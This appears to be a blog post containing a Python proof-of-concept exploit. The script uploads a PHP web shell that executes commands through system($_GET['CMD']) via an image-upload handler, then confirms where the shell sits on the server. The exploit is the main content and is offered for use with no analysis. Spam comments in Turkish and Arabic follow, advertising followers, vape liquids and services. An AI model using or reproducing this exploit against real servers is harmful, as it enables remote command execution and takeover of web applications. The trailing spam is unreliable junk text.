PoC
import sys, socket
host = 'localhost'
path = '/wwh'
port = 80
def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('POST ' + path + '/handlers/uploadimage.php HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'Proxy-Connection: keep-alive\r\n'
'Content-Length: 194\r\n'
'Cache-Control: max-age=0\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n\r\n')
resp = s.recv(8192)
http_ok = 'HTTP/1.1 200 OK'
if http_ok not in resp:
print 'error uploading shell'
return
else: print 'shell uploaded'
s.send('GET ' + path + '/images/shell.php HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')
if http_ok not in s.recv(8192): print 'shell not found'
else: print 'shell located at ' + path + '/images/shell.php'
upload_shell()
osmaniye
ReplyDeleterize
sakarya
samsun
sivas
3UGTP
yurtdışı kargo
ReplyDeleteresimli magnet
instagram takipçi satın al
yurtdışı kargo
sms onay
dijital kartvizit
dijital kartvizit
https://nobetci-eczane.org/
7Y7FJ
salt likit
ReplyDeletesalt likit
dr mood likit
big boss likit
dl likit
dark likit
4Z5LX
شركة مكافحة القوارض بالاحساء FTxfABMef0
ReplyDelete